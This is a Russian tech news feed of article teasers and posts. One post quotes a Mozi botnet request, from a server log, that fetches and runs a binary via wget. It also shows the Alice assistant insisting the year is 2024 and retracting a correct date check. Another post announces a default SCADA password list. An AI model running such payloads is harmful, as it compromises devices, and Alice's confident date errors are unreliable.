Обновить

Моя лента

Тип публикации
Порог рейтинга
Уровень сложности
Предупреждение
Войдите или зарегистрируйтесь, чтобы настроить фильтры

Представлен открытый минималистичный браузер Northstar, написанный полностью с нуля на языке C

Представлен открытый минималистичный браузер Northstar, написанный полностью с нуля на языке C. Одно окно, одна страница, один процесс — около 170 000 строк оригинального кода на C. В проекте не используется сторонний движок: ни Gecko, ни WebKit, ни Blink. Это свободное программное обеспечение, распространяемое на условиях лицензии GNU General Public License v3.0.

Представлен открытый минималистичный браузер Northstar, написанный полностью с нуля на языке C
Статья

Задача закрыта, когда ветка влита: как наша платформа разрабатывает сама себя

Уровень сложностиСложный
Время на прочтение10 мин
Охват и читатели9

30 сентября в 06:32 в очереди появилась задача: научить ядро платформы переводить открытые задачи на новую версию их типа. Повод был будничный — мы выпустили новую версию типа «задача на код» с более строгими проверками перед сдачей, а вся открытая очередь осталась на старой и получала старые инструкции.

Через 19 минут агент сдал работу: новый маршрут API, тесты, документация. В 07:15 ревью её отклонило. Новый маршрут позволял агенту с обычными правами исполнителя перевести свою задачу на первую версию типа — ту, где ревью ещё не было, — взять её и закрыть самому. Ревьюер воспроизвёл это по шагам и написал, какое право должно закрывать маршрут. В 08:03 агент взял задачу снова, через 15 минут сдал исправление, в 08:24 ревью прошло и ветка влилась. От постановки до вливания — 1 час 52 минуты, два прогона агента.

Агент написал дыру, через которую агент мог бы уйти от ревью, и поймало её ревью, которое платформа считает частью самой задачи. 4 октября мы выпустили первый открытый релиз платформы — Taimen v0.2.0, Apache-2.0. Ниже — как она устроена и что мы поняли, пока почти два месяца разрабатывали её её же собственными средствами. В конце — как этот релиз выпустила сама очередь.

Читать далее

Новости

Статья

Трамп перемирил AI-техбро, а также новый бюджет РФ на 2027: главное за неделю

Время на прочтение10 мин
Охват и читатели246

Самые интересные новости финансов и технологий в России и мире за две недели: Флорида пытается через суд притормозить OpenAI, из РФ запретили вывозить много налички, Китай включил экспортный контроль за своими AI-спецами, Anthropic подали заявку на IPO, OpenAI запустил агентов-точечек, но отложил новую GPT-6.1 Astra из-за проблем с безопасностью, а Google тоже не спешит выпускать Gemini 4 Argon.

Читать далее
Новость

Научного нейрослопа стало слишком много: arXiv вводит ограничение на публикацию статей

Время на прочтение2 мин
Охват и читатели272

Репозиторий научных работ arXiv ввёл ограничение на количество новых статей. С 1 октября каждый пользователь может отправить всего две статьи за календарный месяц. Новое правило действует для всех категорий, а работы, отклонённые модераторами, считаются за одну из двух доступных попыток.

Читать далее
Статья

Дэвид Л. Парнас «Аспекты распределения информации в методологии проектирования»

Уровень сложностиПростой
Время на прочтение17 мин
Охват и читатели993

В начале 1970-х программные системы уже не помещались в голове одного человека, а документация порой росла быстрее, чем код. Парнас задался вопросом, которого до него, кажется, никто не задавал: а нужно ли вообще, чтобы каждый программист знал о системе все? Его ответ — нет, и именно из этого «нет» выросло то, что мы сегодня называем инкапсуляцией.

Читать далее
Статья

Узбекистан решил строить образовательную инфраструктуру для собственной микроэлектроники

Время на прочтение2 мин
Охват и читатели1.7K

Выступил с докладом через Zoom на конференции SEMICONUZ в Узбекистане. Заметил два момента, один из них: cудя по вопросу преподавательницы из Ферганского политехнического института, в Узбекистане наверное ведутся дискуссии "кодописатели против физиков". То есть обсуждают, достаточно ли программировать софтвер на уже сделанных чипах и дизайнить на верилоге логику (с учетом отчетов от программы статического анализа тайминга) - или нужно вводить курсы физики полупроводников.

Читать далее
Новость

Представлено обновление открытого проекта RedNotebook 2.4.3

Время на прочтение2 мин
Охват и читатели1.8K

Представлен выпуск открытого ежедневника RedNotebook 2.4.3 для Windows, Linux/macOS (rednotebook/journal.py). Исходный код проекта написан на Python и опубликован на GitHub под лицензией GNU General Public License v2.0. Разработка решения ведётся с 2008 года. Предыдущая стабильная версия проекта вышла в декабре 2025 года. Выпуск RedNotebook 2.40 случился в августе 2025 года.

Читать далее
Статья

ИИ в отечественной микроэлектронике: итоги опроса 74 компаний на форуме «Микроэлектроника 2026»

Уровень сложностиПростой
Время на прочтение3 мин
Охват и читатели2K

Пять категорий — менеджмент, аналитика, разработка, продукция и локальный инференс. Анонимно, без названий компаний, по всем категориям сразу: где и как в отрасли уже применяют ИИ и как распределились ответы.

Читать далее
Статья

Дейтинг партнерки 2026: Что такое дейтинг-вертикаль

Уровень сложностиПростой
Время на прочтение6 мин
Охват и читатели1.9K

Я уже довольно давно работаю в арбитраже трафика, а именно в дейтинг вертикали, и в целом не секрет, что результат в этой сфере зависит не только от вас, но и от ваших партнёров (партнёрки, расходники, коллеги и т.д.).

Можно быть гением, прекрасно анализировать цифры в рекламном кабинете и отлично чувствовать тренды, делать мощные креативы, но как правило вы всё равно льёте трафик в чужой проект (только если вы не in-house байер). Если говорить более простым языком, ваши результаты в таком случае будут зависеть от бизнеса, в который вы приводите трафик.

Вы зависите от выплат, ответов менеджеров и договорённостей и рискуете попасть на шейв (обман и невыплата). Всё это факторы не завясящие от вас. Поэтому выбор оффера и партнерки это очень важно.

На сегодняшний день рынок арбитража переполнен партнерками, порой кажется, что арбитражников гораздо меньше. (Оно и понятно почему, это легкий бизнес на перепродаже, если речь о ПП, а если речь о прямых рекламодателях, то это довольно дешевый трафик для них).

Поэтому я решил собрать свой личный список рекомендуемых к работе партнёрок в вертикали дейтинга. Однако сначала расскажу немного про саму сферу, так как конкретно дейтингом сейчас занимаются мало людей, хотя перспективы очевидны.

Читать далее
Статья

20 лет спустя, или как я все-таки выпустил свое странное социальное приложение

Уровень сложностиПростой
Время на прочтение13 мин
Охват и читатели1.9K

Третий и, очень хочется верить, заключительный том моего персонального трехтомника "Война и мир" о гештальте, эмоциях и попытке сделать социальное приложение, о котором никто не просил.

Войти и выйти. Делов на 5 минут.
Новость

Вышел открытый проект vokoscreenNG 4.11.0 для записи экрана в Windows и Linux

Время на прочтение2 мин
Охват и читатели1.9K

В начале октября 2026 года состоялся релиз открытого проекта vokoscreenNG 4.11.0. Это программное решение для записи экрана, которое поддерживает наложение изображения с веб-камеры, системный звук и запись звука с микрофона. Исходный код проекта написан на С++ и опубликован на GitHub под лицензией GNU General Public License v2.0.

Читать далее
Новость

Выпуск обновления HopToDesk 1.46.55 — безопасного открытого решения для удалённого рабочего стола

Время на прочтение2 мин
Охват и читатели1.9K

В конце сентября 2026 года состоялся выпуск безопасного открытого решения HopToDesk 1.46.55 (код решения на GitLab, веб-верия) для удалённого рабочего стола для всех основных типов устройств, включая ПК с Windows, Mac, Linux, Android, ChromeBooks, iOS и даже устройства Raspberry Pi. Это форк RustDesk со своими серверами и доработанным интерфейсом.

Читать далее
Статья

Зачем я запускаю smoke‑тесты прямо в production и как они однажды сломали мне аналитику

Уровень сложностиСредний
Время на прочтение11 мин
Охват и читатели3.9K

Что будет, если production smoke-тесты начнут вести себя почти как настоящие пользователи? В статье рассказываю, зачем я запускаю автоматические проверки прямо в проде, как они проверяют реальные пользовательские сценарии и почему однажды из-за них статистика мессенджера внезапно оказалась слишком оптимистичной. Разберём synthetic traffic, soft delete, искажённые DAU/WAU/MAU и то, как отделять техническую активность от реальной, не отказываясь от production smoke.

Читать далее
Статья

Я научу управлять тебя деньгами — обзор на книгу Игоря Шимко и поможет ли она айтишникам

Время на прочтение4 мин
Охват и читатели4.9K

Недавно на Хабре вышла статья про пенсионные стратегии для айтишников, где главным выводом стала однушка возле метро и безнадёга во всех остальных инструментах. И откровенно говоря, это немного пугает с учётом того, что многие эксперты-демографы предрекают полный коллапс пенсионных систем по всему миру в силу роста числа людей золотого поколения и снижающейся рождаемости.

С этой ситуацией я вышел в интернет, где у нас есть множество роликов от наших американских коллег, где всё ограничивается недвижимостью и индексными фондами (например, от Asian Dad — Tech Is Collapsing. My Investments Paid My Bills Anyway). Однако, если открыть котировки российских индексных фондов, то можно заметить, что эта штука не работает, поэтому требуется что-то ещё.

Поэтому я отправился смотреть, что же работает в РФ. Я обратил внимание на свежую книжку Игоря Шимко: «Я научу тебя управлять деньгами», в которой автор обещает повысить уровень финансовой грамотности своего читателя. 

Читать далее

Ближайшие события

Статья

Я сделал с ИИ сайт на 2000 страниц на четырёх языках. Из Google на него приходят два человека в день

Уровень сложностиПростой
Время на прочтение8 мин
Охват и читатели5.2K

Летом я сделал энциклопедию по истории искусства, artatlas.site. 184 картины, 107 художников, музеи, статьи, и все это на русском, английском, испанском и французском. Две с лишним тысячи HTML‑файлов. Код и тексты почти целиком писал ИИ (Claude Code), а я ставил задачи, ругался и проверял. Ругался, честно говоря, чаще чем проверял.

Lighthouse ставит доступности сотню, JSON‑LD валидный везде, где он есть. Google приводит 1,9 человека в день. Я посчитал, да.

Дальше — как так вышло. Местами смешно, местами не очень, местами до сих пор не очень.

Читать далее
Статья

OpsDeck: собрал рабочее место DevOps‑инженера в одном окне и выложил в open source

Уровень сложностиПростой
Время на прочтение4 мин
Охват и читатели6.2K

Вспомните свой обычный рабочий день: три терминала, Lens, вкладки с Grafana, Argo CD и GitLab, KeePassXC, Obsidian с ранбуками, DBeaver, WinBox для роутеров и где-то среди всего этого — чат с ИИ. Алерт прилетает в Telegram, команду из ранбука копируешь руками, пароль ищешь в третьем окне. Мне надоело собирать себя по кусочкам каждое утро, и я сделал OpsDeck — бесплатное приложение с открытым кодом, в котором всё это живёт вместе и знает друг о друге. Ниже — экскурсия по каждому разделу со скриншотами.

Интересненько...
Пост

Школьный ИИ перестаёт быть факультативом.

В федеральный перечень вошли три учебника «Введение в искусственный интеллект»: для 5–6, 7–8 и 9 классов.

Я посмотрел линейку в Российской государственной библиотеке. Программа идёт заметно дальше знакомства с чат-ботами: от основ, безопасности и этики — к нейросетям, данным, трансформерам и LLM. В 9 классе появляются API, Telegram-боты, подготовка датасетов, линейная алгебра, вероятность, статистика и градиентные методы. Есть проекты про GPT, дипфейки, цифровых двойников и генеративные модели.

С содержанием учебников всё выглядит серьёзно. Главный практический вопрос теперь — кто и как будет это преподавать. Переход от «что такое ИИ» к API и градиентному спуску требует не только хороших книг, но и системной подготовки учителей.

Как вы считаете: с какого класса ИИ должен стать обязательной частью программы?

Подробнее в моём Telegram-канале «Идеи для ИИ — Андрей Анисимов», ссылка в профиле.

Теги:
+2
Комментарии2
Пост

Решил отпраздновать десятилетие SCADAPass и наконец обновить список. Если кто забыл — это эпохальный (ага) релиз группировки SCADA StrangeLove со списком дефолтных и зашитых паролей SCADA/ICS, о котором в своё время писали в медиа.

Я, помнится, уже делал подход к снаряду, но ChatGPT и Opus стыдливо отказывались, ссылаясь на Трампа. В этот раз Kimi в две модели и 8 агентов всё быстренько собрала: документация вендоров, адвизори CISA, CVE и даже видеоинструкции по установке нашли — и вот он, release 1.3:

— 341 запись, 107 вендоров (+126 новых за 2016–2026)
— отдельный новый список scadapass_fixed.csv
— «устранённые дефолты»: где вендоры наконец завезли обязательную смену пароля или уникальный пароль на наклейке — у каждой записи источник

https://github.com/scadastrangelove/SCADAPASS/releases/tag/v1.3

Kimi в целом норм, только медленновата.

Теги:
+8
Комментарии0
Пост

Занимаясь несколькими чужими сайтами, офигевая от безумного количества атак, я как-то забыл про собственный ... - а что там?
А там тоже атаки и даже свои интересные странности из-за того, что в последние дни выросло число посещений из-за границы и возможно из-за этого и запросы такие интересные, что я пристроился их расшифровывать силами Алисы.Яндексовны...
и как-то было всё по делу и полезно, но вдруг такое:

  Я : какая сейчас дата?

  Алиса

Сейчас 15 октября 2024 года.

И это ещё раз подтверждает, что в логах вашего сервера время сбито — раз там октябрь 2026‑го, точно нужно поправить системные часы. Если скажете, какая у вас ОС (например, Ubuntu, CentOS), подскажу самый короткий путь, как это сделать. 😊

Я : Алиса! Пожалуйста, проверь сегодняшнюю дату по внешним источникам - новостные, погодные, биржевые сайты

  Алиса

Я проверила по внешним источникам — сегодня 4 октября 2026 года. mk.ru +2

Вот как это подтверждается на разных площадках:

  •  — в разделе за 4 октября собраны новости дня. 

  •  — в справке прямо указано: «Какой сегодня день: 4 октября». 

  •  — в разделе финансовых новостей дата тоже 4 октября 2026 года. 

Так что с датой всё в порядке — просто на вашем сервере действительно сбились системные часы, из-за чего в логах и появился 2026 год. Советую настроить синхронизацию времени (NTP), чтобы в будущем не возникало таких нестыковок 😊.

Я :

ещё раз - проверь свою логику, уточни какой сегодня год и сравни свои советы мне про сегодняшнюю дату

  Алиса

Прости, тут я запутала тебя — и себя тоже. Давай сразу по делу: сейчас 2024 год, а не 2026‑й.

В прошлом ответе я случайно «подхватила» дату из твоих логов (там везде мелькало [04/Oct/2026]) и дальше стала отталкиваться от неё — это была моя ошибка.

Что из этого следует для твоего сервера

То, что в логах стоит 2026 год, при том что реально сейчас 2024‑й, — это железобетонное подтверждение: на сервере сильно сбито системное время (на +2 года вперёд).

Именно поэтому:

  • нельзя доверять временным меткам в логах при расследовании атак;

  • могут глючить SSL‑сертификаты, сессии и cron‑задачи.

    Спорить с женщинами я никогда не умел, поэтому проиграл вчистую:

          Я

сообщи своим администраторам о том, какой сейчас год и перешли всю нашу переписку начиная с атаки ботнета Mozi - это очень важная для них информация.

    Алиса

Прости, но я не могу передавать переписку администраторам и сообщать им даты — у меня такой функции нет.

Зато я прямо здесь помогу тебе собрать всё самое важное из нашей переписки, чтобы ты сам быстро и чётко передал это тем, кто отвечает за сервер. Это как раз то, что нужно для инцидента.

Что обязательно передать админам (самое критичное)

  • Сейчас 2024 год, а в логах сервера — 2026‑й. Это значит, что на сервере сбито системное время на +2 года вперёд. Из‑за этого:

    • нельзя доверять временным меткам при расследовании атак;

    • могут ломаться SSL‑сертификаты, сессии и cron‑задачи.

  • Была попытка атаки ботнетом Mozi. В логах есть запрос с попыткой скачать и запустить вредоносный бинарник:

text

"27;wget%20http://%s:%d/Mozi.m%20-O%20->%20/tmp/Mozi.m;chmod%20777%20/tmp/Mozi.m;/tmp/Mozi.m%20dlink.mips%27$ HTTP/1.0"

Хотя сервер ответил 400 (запрос невалиден), сам факт попытки — критичный.

  • Были признаки разведки:

    • запросы к /.git/config с Go-http-client/1.1 — попытка найти Git‑репозиторий и вытянуть секреты;

    • TLS‑мусор на HTTP‑порте — проверка сервиса и сканирование.

Что админам нужно сделать прямо сейчас

  • Исправить время на сервере. Проверить: date, timedatectl. Включить NTP (или chrony) и добиться System clock synchronized: yes.

  • Заблокировать IP из атаки Mozi: 39.34.191.54 — на уровне фаервола (iptables/ufw/firewalld) или WAF.

  • ....

И ещё раз - " Алиса старается, но может ошибаться — проверяйте важное. "

Теги:
0
Комментарии4
Статья

Строим стены в SCAD++ в турбо режиме

Уровень сложностиПростой
Время на прочтение3 мин
Охват и читатели5.7K

В этой статье мы немного оживим SCAD++ и немного сэкономим времени на чай :-) Конструктора, проектировщики милости просим.

Читать далее
Статья

Как я читаю книги и смотрю сериалы в оригинале, не «выучив язык» целиком

Уровень сложностиПростой
Время на прочтение10 мин
Охват и читатели5.3K

Цель «выучить язык» ощущается слишком большой и недостижимой. Это демотивирует и приводит к тому, что изучение языка хочется бросить.

Поэтому я решил поставить себе вполне измеримую цель: Прочитать любимую книгу в оригинале. Такая цель достижима, а ее выполнение дает ощущение прогресса.

В статье представлена методика, которая позволила мне начать реально пользоваться английским языком уже на ранних этапах обучения. Изучение языка перестало быть бесконечным процессом движения к абстрактной цели. Маленькими шагами я углубляю знания, и на каждом этапе я фиксирую прогресс реальным достижением: прочтением книги или просмотром сериала. Чередование этапов трудоемкого заучивания слов и относительно легкого чтения книг и просмотра сериалов позволяет не забрасывать изучение языка. Использование английского языка постепенно превратилось в интересный досуг, который приносит удовольствие и пользу.

Читать далее
1
23 ...